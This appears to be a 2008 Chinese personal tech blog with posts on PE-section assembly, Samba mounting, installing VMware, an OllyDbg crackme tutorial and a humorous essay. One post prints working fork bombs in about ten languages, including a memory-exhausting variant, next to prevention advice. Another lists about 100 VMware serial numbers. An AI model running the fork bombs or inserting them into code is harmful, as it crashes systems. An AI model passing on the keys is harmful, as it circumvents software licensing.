;; return New Section Address(VA)
mov eax, esi
assume esi : nothing
assume eax : nothing
assume edx : nothing
ret
AddSection endp

PEAlign proc uses ecx edx, dwTarNum : DWORD, dwAlignTo : DWORD
mov ecx, dwAlignTo
mov eax, dwTarNum
xor edx, edx
div ecx
cmp edx, 0 ;; edx保存余数
jz AlreadyAligned
inc eax
AlreadyAligned:
mul ecx
ret
PEAlign endp

end Start


展开 Read More...

2008年8月25日

linux挂载samba服务器

环境:UBUNTU8.04

安装smbfs包

#apt-get install smbfs


挂载命令:

#mount mount -t smbfs -o username=out,password=out123,iocharset=utf8,codepage=cp936 //SERVER/PATH /mnt/

注意服务器地址是'/',不是'\'

然后就可以像访问本地文件一样访问服务器文件了.

展开 Read More...

北漂普通人的生活花销

工资现在除去税和保险正常情况下是3200元

除去房租1500元/月。水电费100元/月,网费100元/月。

每天中午花费10元
每天晚餐10元
每天停车0。3元
每天作地铁,公交车5元
每天水果5元

暂时是30元/天,一个月900元。

展开 Read More...

2008年8月18日

ubuntu8.04 vmware server安装xp

实在受不了irtualbox的性能,什么也不动也占着cpu,反应缓慢,完全不能和以前的vmware相比,于是重来吧。

安装前

#sudo apt-get install linux-headers-`uname -r` build-essential xinetd

1.下载vmware for linux
http://register.vmware.com/content/download.html
2.激活码可以在另一个帖子copy
3.安装

#tar -zxvf Vmware-server-1.0.6-91891.tar.gz
#mv vmware-server-distrib /opt/
#./vmware-install.pl

一般回车或者yes就可以了.
然后就是协议,一直空格到最后yes
然后回车,编译vmware模块

Do you want networkong for your virtual machines? yes

another的时候就no

检测到没有安装inetd或者xinetd

#apt-get install xinetd

好,继续,重新运行vmware-install.pl

询问是否运行vmware-config.pl,配置vmware?
yes或回车

然后又是读协议,空格到最后,yes
又重新编译vmware module

配置网络

继续回车到输入serial number了,去copy一个吧。

99J6N-YD78Q-23Q37-43PLE

OK,成功了.

4.安装xp吧
启动vmware

/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)
/usr/lib/vmware/bin/vmware: /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)
解决方法:
# cd /usr/lib/vmware-server-console/lib/
#sudo mv libpng12.so.0/libpng12.so.0 libpng12.so.0/libpng12.so.0.disabled
#sudo ln -sf /usr/lib/libpng12.so.0 libpng12.so.0/libpng12.so.0

#cd /usr/lib/vmware-server-console/lib/libgcc_s.so.1/
#mv libgcc_s.so.1 libgcc_s.so.1.disabled
#ln -sf /lib/libgcc_s.so.1 libgcc_s.so.1
#ln -sf /usr/lib/gcc/i486-linux-gnu/4.2.3/libgcc_s.so /usr/lib/vmware/lib/libgcc_s.so.1/libgcc_s.so.1


启动vmware,可以不用root身份了.

5.新建一个wizard,选择路径,选择上网方式,斡旋bridged

选择allocate now或者不选,选了应该速度快点,不选是用的时候再分配空间
split file,默认就行

然后开始创建disk
看会新闻继续
6.双击cdrom,选择光盘iso文件路径或者使用光驱
7.调整ram大小,选择CPU个数
8.power on,下面就是正常的安装xp步骤

如出现什么错误可以查看log文件,在新建wizard路径下有.


参考:http://www.howtoforge.com/installing-vmware-server-on-ubuntu-8.04

展开 Read More...

vmware 激活码

100个,免得每次重装都又申请


99J6N-YD78Q-23Q37-43PLE
9C540-YD30P-296DH-4CQCM
93H4H-YDPAP-2129L-417CE
9904J-Y4286-23K9Q-4JJJ5
91J45-YF30L-29L4N-43HA5
991FH-Y47AQ-23K64-4UM3H
93JF4-Y4L87-23365-403C4
9CNDH-Y662Q-2334M-487H5
93NF5-YDP27-21PDH-4HMKE
91M6M-Y462Q-2173L-4TH08
93M41-YFQ8K-2C236-4HP9M
9C164-Y6707-233F1-4A7V5
99ND4-Y6L82-23L6H-4HQTW
990FM-Y4Q23-2374N-4H43X
930FM-YD78K-29716-4U51X
99H4M-YD72P-292D4-4V100
99440-Y4K87-29K93-4UQAJ
9154H-YD227-29K6J-4C6RD
9316J-YDPA3-2CLD0-49JU0
9CNF4-YFKA2-2C765-41KR0
934F0-Y6KAK-2CPDM-4VHAW
9956J-YFQ22-21292-4KJHE
9356H-Y438P-29K45-40QA9
93J44-YD2A2-29LD5-4R0T9
990FH-Y6P06-2C79P-4H6HH
91MFM-YD62L-2CQDN-4V1HX
99M44-YF203-2C345-43195
91M61-Y6Q8K-236CP-436U4
93H45-YF382-2C7F4-4U6HT
93N64-Y630P-2964J-4UK2E
9C5FN-Y6L8P-23396-4J1R0
91M44-Y4KA3-2CPDH-4CQ2T
991F4-YF202-297CQ-49L8R
99M6J-YFL2P-2C76M-42LJD
9CN4N-Y632Q-293D1-4A5K8
99J4N-YD70P-292FN-4CQ9D
994FJ-YFP8L-21661-4U62M
93H44-YF72K-296CL-4KQLJ
934F0-Y62AQ-2369L-4VKLE
910D1-Y6L0K-21QF1-41NUD
9CHD4-YDP8P-21KCP-4KN25
91444-Y6KA6-2979L-4T5RT
9116J-YDL8K-213D5-4J0HJ
93N61-Y4386-2371P-4JJ35
910F0-Y420K-23232-41LCH
99ND4-YD30L-21612-4TKUE
9C0F5-YFP23-212D1-4HL9E
91NF5-Y4323-21712-4U6CE
9C14J-Y4283-2C264-4H3L0
9114M-Y672K-2364M-42H3W
93JF0-YF727-2CL4J-40M00
91564-Y66AL-21P33-43221
9146N-Y6P8L-2C76M-491J5
9C1FJ-YDL86-2CLD0-4U7R5
9CJF5-Y6L06-2C297-4TH19
9C5DM-Y6726-29P4N-4AHJJ
93NFN-YFQ0P-21LF4-48N31
93NDM-YF78Q-21KD5-4U52W
990F1-Y6PAL-21217-4VQCR
9CH4N-Y4P0L-21PF4-4HNK1
9CJDN-YDP83-29Q97-4C5J5
9CMD0-YFK03-23L9Q-4UJT0
99N6J-YDP03-29K9P-4R5A8
990F5-YD202-232DN-4TM3D
9CJ4J-Y42A2-297F4-4JH94
91464-Y6L2Q-2CP60-4J4L4
9104M-Y6307-2374M-40QAM
93560-YFK2K-29365-4A00X
91JD4-YF7AK-29P9K-4T581
990FH-Y62AL-29PDN-4C11X
99N60-Y6KAQ-2CK9P-493TN
99141-YDQ0L-21L3L-4CNTX
91JDN-YD2A2-2CQ45-404LX
911FJ-Y6Q0P-23L1L-4C3UT
931F4-Y670K-29717-4TNJD
9C4DH-Y6Q27-21L13-4L2JN
9C14N-YDL8K-23QC3-4K7JT
9C045-Y4K06-23293-4K5RH
99145-Y4622-21QFM-43KLE
9CNDJ-Y4K2Q-2C732-4LPHJ
9CJDN-Y6Q26-23Q61-43L0N
994DN-YD207-21Q97-4H3UD
99J64-YFQ2Q-2C713-4L325
91144-YDQAQ-23K93-4U490
9346H-YD20Q-21K3L-4VQ94
91N40-Y4P87-29QD5-4T78W
9C041-YDQAL-29360-4CJ88
91M6N-YD3A7-23Q4M-40PR8
99M45-Y67AL-2C29Q-4U5TW
99HFH-YF6AK-2CL40-4TLAJ
93H4J-YDL2K-233DJ-43KT1
93M6J-Y4L0K-296D4-410TR
9C161-YF7A6-2C7F1-4L0LR
9C1DN-YFQA7-23LDM-40L9R
91J45-YDP8Q-213F1-480HH
9C1F0-YF22K-212DN-4R581
93H4M-Y4727-21QCK-4JLAE
99J61-YFQ27-296DN-4KQ3N
99461-Y460L-2121P-4H38R
93NDH-Y62A2-2CK4H-4UHV0

展开 Read More...

天才Phelps(菲尔普斯)



个人信息:
全名: Michael Fred Phelps
昵称: 巴尔的摩子弹
国籍: 美国
游泳项目: 蝶泳,个人混合泳,自由泳,仰泳
出生日期: 1985.6.30
出生地: Baltimore, Maryland, United States
身高: 1.93m
体重: 91kg

在2008北京奥运会上简直让世人感到震惊,一人一届就获得8玫金牌,人家一个国家一玫金牌都还没有呢!打破了Mark Spitz的一届7玫金牌的记录。
1985年出生,同时代的人阿,呵呵。到现在他已经得了16块奥林匹克的奖牌了,其中2004雅典奥运会获得6玫金牌(gold),2玫铜牌(Athens),2008北京奥运会获得8玫金牌。
和他同时代的人是否有种如NBA遇上乔丹的苦恼?

展开 Read More...

LINUX Fork bomb

看了某书,防止DOS攻击,修改/etc/security/limits.conf

* hard core 0
* hard rss 5000
* hard nproc 20

于是重启后,出现

resource temporarily unavailable


查了相关资料,原来是这个配置文件的问题,第三行是限制用户的fork进程数的,这里太小了,以至于不够用了,进个图形界面都超过限制了,于是修改一下:

* hard nproc 100

现在够用了,顺便了解了一下forkbomb(fork炸弹)

fork就是用来创建进程的,fork炸弹就是通过快速的创建很多进程让你机器挂掉,属于拒绝服务攻击的一种,因为进程数量是有限的,可以通过命令ulimit -a查看

core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16383
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) 10000
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 100 最大用户进程数
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

这里看到和刚才配置文件/etc/security/limits.conf设置的一样,用-u命令可以直接改成你要的限制数目。

举例:
下面这段代码可以作为一个fork炸弹(Jaromil ,2002),在bash下执行

:(){ :|:& };:

windows下的fork炸弹,batch编写

:s
START %0
GOTO :s

更简洁的写法:

%0|%0

perl语言:

#!/usr/bin/perl
fork while 1

Haskell:

import Control.Monad
import System.Posix.Process

forkBomb = forever $ forkProcess forkBomb

Python:

import os

while True:
os.fork()

c语言:

#include

int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}

PHP:

while(1)
pcntl_fork();

x86(fasm):

format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start


通过不停的申请内存造成内存不足也可以达到同样效果。
C:

#include
#include

int main(void) {
/* An infinite loop. */
while (1) {
/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}

return EXIT_SUCCESS;
}

因为现代的操作系统运用了Copy-on-write虚拟内存技术,也就是你不使用的话,他不会真正的分配到物理内存。
上面代码修改成这样就可以:

#include
#include

int main(void) {
int *x;

while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = malloc(sizeof(int) * 1048576);
/* Try to use the newly allocated memory */
*x = 0;
}

return EXIT_SUCCESS;
}

这段代码只影响其中第一页,要想影响整个1M空间,必须至少使用每一页的一个字节

解决方法:
一个成功的fork bomb除非reboot,系统不会恢复,因为已经不能新建进程(kill)来杀掉炸弹进程。

:(){ :|:& };:

这段代码的作用是不能再fork,我们可以用一个什么也不做的新进程,每一个新进程都可以减少一个forkbomb的数量,最后就可以消灭掉它,然后这个新进程就可以退出了。
Z Shell语法:

while (sleep 100 &!) do; done


预防:
像最开始修改配置文件/etc/security/limits.conf一样,我们限制用户的最大进程数量(以至于俺限制得过分了^_^!!)。
linux补丁如grsecurity可以检测哪个用户执行了fork炸弹程序

参考:http://en.wikipedia.org/wiki/Forkbomb

展开 Read More...

2008年8月17日

OLLYDBG消息断点+控件ID 准确下断

这篇文章是CCDEBUGER的OD教程五的补充,很好


作 者: hklzt
时 间: 2007-06-06,16:50
联 系: QQ:87784858

看完了《OllyDBG 入门系统(五)-消息断点及 RUN 跟踪》之后感觉如何?会否有如下问题:
1、 是否觉得不知道在哪下断?
2、 为什么要这样子下断?
3、 如何确定断下来后的位置就是正确的?

好,就本着这几个问题来分析一遍。

首先,先回顾下Windows的消息机制。要点:所有要处理的消息必然会由程序自己处理,不处理的消息都交由Windows处理。Windows的消息处理函数的格式,如下:

LRESULT CALLBACK WindowProc(
HWND hwnd, // handle of window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);

其中uMsg就是关键,它代表消息的类型,如:WM_COMMAND,WM_GETTEXT等。记好哦。

下面,我们来用实例讲解。









这个CrackMe是用对话框做的(你是怎么知道的?)。
1、 用OllyDbg加载,Crtl + N,找到函数:USER32.DialogBoxParamA,右击->“在每个参考上设置断点”。
2、 F9,运行。看,被拦了下来,如图:






3、 其中DlgProc的内容,就是我们需要找的东东。这个地址是消息处理函数的入口点。现在来解释为什么要在窗口那才有消息断点,看图,













要下消息断点,首先得找到具有Windows消息处理函数格式的函数,然后,再根据栈的数据来判断消息,如果符合下断的消息,那么,OllyDbg就会拦下来(还会觉得不知道在哪下消息断点了吗?知道该如何下消息断点了吧?)。很明显有一点,这个消息断点的功能是有限的,比如,要拦主窗口中的菜单消息呢?所以,消息断点的功能还是有限的。如何扩展?扯远了,下面再讲。
4、 Ctrl + G来到cyle.0041029,我们来到了消息处理函数了,但是,OllyDbg并未识别出这个函数是消息处理函数。所以,在cyle.0041029处,右击->“分析”->“假定参数”,如图:









弹出一个对话框,选择“WinProc(hWnd,msg,wParam,lParam)”。











点击“应用”后,如图。




5、在cyle.0041029处,右击->“断点”->“在WinProc上的消息断点”(平时是不是没见过这个菜单呀?呵呵)。
6、 在“消息”列表框中,选择你要下断的消息(Alt+B,删除以前的断点,以免影响心情)。










7、 F9,运行,程序运行起来了。这时没什么事情发生,当你在里面点了一个文本框之后(点它,是想让它获得Focus(焦点),以便能够输入数据),事情就发生了。现在没办法在文本框里输入注册码,也没办法点击按钮。这是怎么回事呢?仔细看一下Stack(栈)的那个窗口,噢!原来被文本框的通知 EN_SETFOUCE搞坏了!停留在EN_SETFOCUS和EN_KILLFOCUS两个消息之间了。
8、 好,现在来扩展消息断点(消息断点是否是条件断点的特殊例子?),即使用条件断点(卖弄了一下,呵呵)。
















看你需求,条件和条件记录,在这里是没什么区别的,因为不需要记录的内容。
8、 按Shitf+F2,输入 MSG ==WM_COMMAND && [ESP+C]==66(这个66是怎么来的?这个就是那个Check按钮的ID,意思就是“当收到WM_COMMAND,且是由ID为0x66发出的时候中断”),确定,F9,运行。
9、现在,输入Name和Serial之后,点”Check”按钮。
10、这次中断,位置上似乎没有变化,但是,明白了消息处理机制,应该知道这次中断的不同吧?(这次会流程会流到注册算法那哦)


00401029 >/. >enter 0, 0 ; 解码为
0040102D |. >push ebx
0040102E |. >push edi
0040102F |. >push esi
00401030 |. >cmp [arg.2], 110
00401037 |. >je short cycle.0040105E
00401039 |. >cmp [arg.2], 111 //111=WM_COMMAND
00401040 |. >je short cycle.00401082 //肯定在这里跳(为什么?)
00401042 |. >cmp [arg.2], 10
00401046 |. >je short cycle.00401057
00401048 |. >cmp [arg.2], 2
0040104C |. >je short cycle.00401057
0040104E |. >xor eax, eax

11、来到 cycle.00401082,
00401082 |> \>cmp [arg.3], 67
00401086 |. >jnz short cycle.0040108D //这里肯定会跳
00401088 |. >call cycle.00401151
0040108D |> >cmp [arg.3], 66
00401091 |. >jnz short cycle.00401098 //这里肯定不会跳(又是为什么呢?)
00401093 |. >call cycle.0040109C //关键,
00401098 |> >xor eax, eax

12、蓝色部分,已经在CCDebuger那篇文章分析过了,这里就不分析了,我用红色字体来标明重点。
0040109C /$ >mov dword ptr ds:[402182], FEDCBA98
004010A6 |. >push 11 ; /Count = 11 (17.)
004010A8 |. >push cycle.00402171 ; |Buffer = cycle.00402171
004010AD |. >push 3E9 ; |ControlID = 3E9 (1001.)
004010B2 |. >push [arg.1] ; |hWnd
004010B5 |. >call ; \GetDlgItemTextA(Serial)
004010BA |. >or eax, eax
004010BC |. >je short cycle.0040111F
004010BE |. >push 11 ; /Count = 11 (17.)
004010C0 |. >push cycle.00402160 ; |Buffer = cycle.00402160
004010C5 |. >push 3E8 ; |ControlID = 3E8 (1000.)
004010CA |. >push [arg.1] ; |hWnd
004010CD |. >call ; \GetDlgItemTextA(name)
004010D2 |. >or eax, eax
004010D4 |. >je short cycle.0040111F
004010D6 |. >mov ecx, 10
004010DB |. >sub ecx, eax
004010DD |. >mov esi, cycle.00402160
004010E2 |. >mov edi, esi
004010E4 |. >add edi, eax
004010E6 |. >cld
004010E7 |. >rep movs byte ptr es:[edi], byte ptr>
004010E9 |. >xor ecx, ecx
004010EB |. >mov esi, cycle.00402171
004010F0 |> >/inc ecx
004010F1 |. >|lods byte ptr ds:[esi]
004010F2 |. >|or al, al
004010F4 |. >|je short cycle.00401100
004010F6 |. >|cmp al, 7E
004010F8 |. >|jg short cycle.00401100
004010FA |. >|cmp al, 30
004010FC |. >|jb short cycle.00401100
004010FE |.^ >\jmp short cycle.004010F0
00401100 |> >cmp ecx, 11
00401103 |. >jnz short cycle.0040111F //判断长度是否为16个有效字符,即16个字节,不是则跳
00401105 |. >call cycle.004011F1 //算法
0040110A |. >mov ecx, 0FF01
0040110F |. >push ecx
00401110 |. >call cycle.00401190 //算法
00401115 |. >cmp ecx, 1
00401118 |. >je short cycle.00401120 //需要跳
0040111A |> >call cycle.00401166
0040111F |> >retn
00401120 |> >mov eax, dword ptr ds:[402168]
00401125 |. >mov ebx, dword ptr ds:[40216C]
0040112B |. >xor eax, ebx
0040112D |. >xor eax, dword ptr ds:[402182]
00401133 |. >or eax, 40404040
00401138 |. >and eax, 77777777
0040113D |. >xor eax, dword ptr ds:[402179]
00401143 |. >xor eax, dword ptr ds:[40217D]
00401149 |.^ >jnz short cycle.0040111A //不可以跳
0040114B |. >call cycle.0040117B //提示注册成功!
00401150 \. >retn

终于写完了,现在来回顾下刚开始的问题:
1、 是否觉得不知道在哪下断?
答:在Windows消息处理函数的入口处下消息断点。
2、 为什么要这样子下断?
答:可能OllyDbg是根据栈的数据和函数原型来匹配,所以,一般来说,匹配条件都会是[Esp + XX] ==XXXXX
3、 如何确定断下来后的位置就是正确的?
答:这里是根据编程的思路以及Windows的消息处理机制来定位的,理论与实战相结合。

最后,总结下,由于windows是消息驱动的,很大一部分都是通过消息来完成的,所以,有很大一部分可以通过对消息下断来达到目的,但是,如何下消息断点?从大体上讲,是这样子的:1、找出消息循环处理的函数 2、在消息循环处理函数的入口处设断

写到这里,废话一下。赞扬CCDebuger的太多了,但是,在赞扬的同时,不知道大家有没仔细消化人家的成果?呵呵,其实,我也没有,因为我看不太懂,所以,还是照着自己的思路走。写这篇文章的目的是为了帮一位朋友,他想下消息断点,但是,不知道如何下,我就把CCDebuger的这那篇消息断点给他,可是,还是没解决,后来,自己也动了一下手,确实,对于WM_COMMAND消息来说,OD肯定会不停的拦下来的,所以,单纯的消息断点就行不通了,所以,再结合Run跟踪来记录下,刚好能解决问题,也就产生了CCDebuger的那篇文章(猜的,呵呵)。
最后,帮忙纠正下错误:
引用:
写到这准备跟踪算法时,才发现这个 crackme 还是挺复杂的,具体算法我就不写了,实在没那么多时间详细跟踪。有兴趣的可以跟一下,注册码是17 位,用户名采用复制的方式扩展到 16 位,如我输入“CCDebuger”,扩展后就是“CCDebugerCCDebug”。大致是先取扩展后用户名的前 8 位和注册码的前 8 位,把用户名的前四位和后四位分别与注册码的前四位和后四位进行运算,算完后再把扩展后用户名的后 8 位和注册码的后 8 位分两部分,再与前面用户名和注册码的前 8 位计算后的值进行异或计算,最后结果等于 0 就成功。注册码的第 17 位我尚未发现有何用处。对于新手来说,可能这个 crackme 的难度大了一点。没关系,我们主要是学习 OllyDBG 的使用,方法掌握就可以了。

关于“位”的概念,“位”,是指二进制位,在这里,一个字节等于8位,一个字符等于一个字节。“注册码是17位”,应改成“注册码是17个字节”,如果你跟踪分析过,你可以发现,这样子还是不对的,最后应该是“注册码是16个字节”,
cmp ecx, 11,这里的11是16进制,即十进制数:17。从代码中可以看出这个十进制数17,还得减1才是字符串的真实长度,所以,应该改成“注册码是16个字节”,后面的“位”,需要改成“字节”。第一次看的时候,没注意看,都给蒙了。

展开 Read More...

北京高考零分作文(搞笑)

题目:“细雨湿衣看不见,闲花落地听无声”是唐朝诗人刘长卿在《别严士元》中的诗句。曾经有人这样理解这句诗:
1、这是歌颂春天的美好意境。
2、闲花、细雨表达了不为人知的寂寞。
3、看不见、听不见不等于无所作为,是一种恬淡的处世之道。
4、这种意境已经不适合当今的世界……
根据你的看法写一篇作文。题目自拟,体裁不限。字数800以上。

  盛夏,夜,深夜。

  景山山颠。

  山上有人,两个人,一男一女。

  这两人就是当今武林名声最响的两位杀手,男的名秋细雨,女的叫叶闲花,江湖人称“细雨闲花”。

  诗人刘长卿曾用“细雨湿衣看不见,闲花落地听无声”来描述这两个可怕的杀手。细雨湿衣,湿衣的是鲜血;闲花落地,落地的是人头。这两人杀人来无影去无踪,如果他们想杀你,当你还没看到他们人影没听到他们声音的时候,你就已经死了。

  秋细雨三天前接到一份帖子,指名要杀叶闲花。事成之后,不但有三百万两冥币,更可以让他在“红楼梦中人”选秀节目中担任曹雪芹的角色!

  但是杀死叶闲花比杀死比尔还要困难得多。

  江湖中没有一个人清楚叶闲花的武功来历,性格脾气,但是每个人都知道叶闲花的故事。

  叶闲花有一双迷人的大眼睛,据说她曾一动不动地瞪死过赵薇和高圆圆,而那一年她才十七岁。

  叶闲花声音有如黄莺般幽婉醉人,传说听过她说话后林志玲身体酥麻了整整一年,你说要不要命?

  叶闲花轻功独步武林,踏雪无痕,落地无声,号称超过当年青翼蝠王韦一笑。有人见她上星期在高速公路上偷了刘翔奥运会入场证,刘翔追出一万公里最后被活活累倒。

  一般人听到叶闲花的故事早就吓得去买尿不湿了,但是秋细雨没有去买。

  秋细雨不是一般人。

  他知道,杀人不但要靠技术,还要拼人品!

  秋细雨很镇定,他正用一把指甲刀修整着手指甲,他的手指修长有力。

  他要等待,等待对方先沉不住气。高手相争,不允许一丝一毫的失误,先沉不住气的人就会露出破绽。

  致命的破绽!

  因此秋细雨一言不发,只是静静地玩弄着指甲刀。

  没想到叶闲花更是好整以暇,自己悠然自得地涂口红,喷香水。

  秋细雨只好先发制人,道:“你知道我找你出来是为什么。”

  叶闲花温柔道:“在我们动手之前,不能先谈谈么?”

  秋细雨道:“我是来杀人的,不是来聊天的。”

  叶闲花道:“你有把握杀我?”

  秋细雨道:“我从不做没有把握的事情。”

  叶闲花道:“我要提醒你一件事。”

  秋细雨道:“你说。”

  叶闲花道:“百晓生作杀手谱,小女子是杀手榜排名第一,阁下区区第二,你真能杀得了我么?”

  秋细雨道:“我也要提醒你一件事。”

  叶闲花道:“你说。”

  秋细雨道:“论杀手实力,我本在你之前,只是那次排名百晓生采用了短信投票系统,中国‘花痴’人数过于庞大才让你得了第一。”

  叶闲花的脸色一变,道:“我更要提醒你,我的粉丝团叫‘花粉’,不叫‘花痴’!”

  秋细雨道:“我最后要提醒你,你的那些‘花粉’全都是花痴。还有,我们已经跑题了。”

  叶闲花道:“我们这样拼命厮杀,你难道不怕麻烦么?”

  秋细雨道:“你以后再也不用怕麻烦了,天下只有一种人永远不怕麻烦,死人!”

  叶闲花道:“这么说你非逼我出手不可?”

  秋细雨没有回答,他已不用回答。

  秋细雨道:“亮兵器!”

  叶闲花道:“我用刀。”

  秋细雨道:“你用刀?刀在何处?”

  叶闲花道:“我就是刀!”

  叶闲花露出甜甜的笑容,忽然间褪下了自己的衣服,全身上下只剩下蕾丝比基尼和黑色丝袜。

  叶闲花的脸美得让人窒息,再配上这样的身材,这样的服饰,充满了一种原始的诱惑力。

  她的眼睛会说话,她的媚笑会说话,她的手,她的胸膛,她的腿……她身上每分每寸都会说话。

  她知道,只要是个不瞎的男人,现在肯定会被她迷得神魂颠倒。

  秋细雨是个男人,而且是个不瞎的男人。

  可他现在却偏偏好像瞎了一样,完全无动于衷。

  他知道,美丽的女人是一把刀,当你沉醉的时候,刀就会切进你的胸口。

  秋细雨沉吟道:“我只想问你一件事。”

  叶闲花娇笑着:“请讲。”

  秋细雨道:“大夏天的,穿这么少你丫不怕蚊子叮啊?”

  叶闲花沉默了半晌,幽幽地道:“你一定以为刚才我在喷香水,是不是?我告诉你,我喷的是六神花露水!”

  叶闲花又道:“不过这不是普通的六神,是我特别提炼的药水,无色无味无毒,不过却会慢慢扩散在空气中,闻到它的人会四肢麻痹不能动弹。”

  秋细雨一惊,忽然觉得身体已经麻木不听使唤,不由得一身冷汗。

  叶闲花又道:“你以为我和你扯淡是因为我害怕,以为我脱掉衣服是想色诱你,其实这都是为了拖延时间让药水能扩散到你周围。”

  秋细雨面上不动声色,道:“难道你自己不怕药水的厉害?”

  叶闲花得意地道:“一开始我涂的口红就是解药,所以我仍然可以自由行动。”

  叶闲花逼视着秋细雨,问道:“现在你还认为你能杀了我么?”

  秋细雨道:“我能。”

  叶闲花道:“你不能动而我能动,你却能杀了我,这不是很好笑么?”

  秋细雨道:“是很好笑,但是你一定会被我杀死。”

  叶闲花道:“为什么我会被你杀死?”

  秋细雨忽然反问道:“飞刀能不能杀人?”

  叶闲花道:“好像能。”

  秋细雨道:“我有没有手?”

  叶闲花道:“的确有。”

  秋细雨道:“我手上有没有刀?”

  叶闲花道:“你手上好像只有指甲刀。”

  秋细雨道:“足够了。”

  叶闲花道:“足够了?”

  秋细雨道:“我有手有刀,就能置人死地。”

  叶闲花道:“指甲刀也能杀人?实在可笑!”

  秋细雨道:“以前江湖中有七十三个人觉得我这把指甲刀很可笑。”

  叶闲花道:“现在呢?”

  秋细雨道:“现在人都已死了,死在这把刀下。”

  叶闲花道:“你的手还能动?”

  秋细雨道:“你要不要试试?”

 叶闲花脸上的笑容渐渐凝固,忽然间,她已出手!

  一招“冒牌九阴白骨爪”直逼秋细雨天灵盖,这一招她已练过七年四个月零二十九天,她完全有把握相信没有任何人可以抵挡得了这一招。

  可这一次她错了。

  刀光一闪,“盗版小李飞刀”已插入她的咽喉。

  她到死也不相信,一把指甲刀可以要了她的命!

  闲花终于落地!

  三个时辰后,药水的药效渐渐淡去,秋细雨终于可以动弹了。

  望着叶闲花的尸体,秋细雨道:“虽然你已经死了,但是我还要告诉你两件事。第一,我一直用甲刀修整着手指甲是为了调整手和刀之间的同步率,说白了就是找手感。第二,我杀你的真正目的不是为了钱或者名利。”

 一边说,秋细雨一边从叶闲花衣服的口袋里搜出了刘翔的奥运会入场证。

  秋细雨坚定地说:“我爱北京,我要看奥运!”

展开 Read More...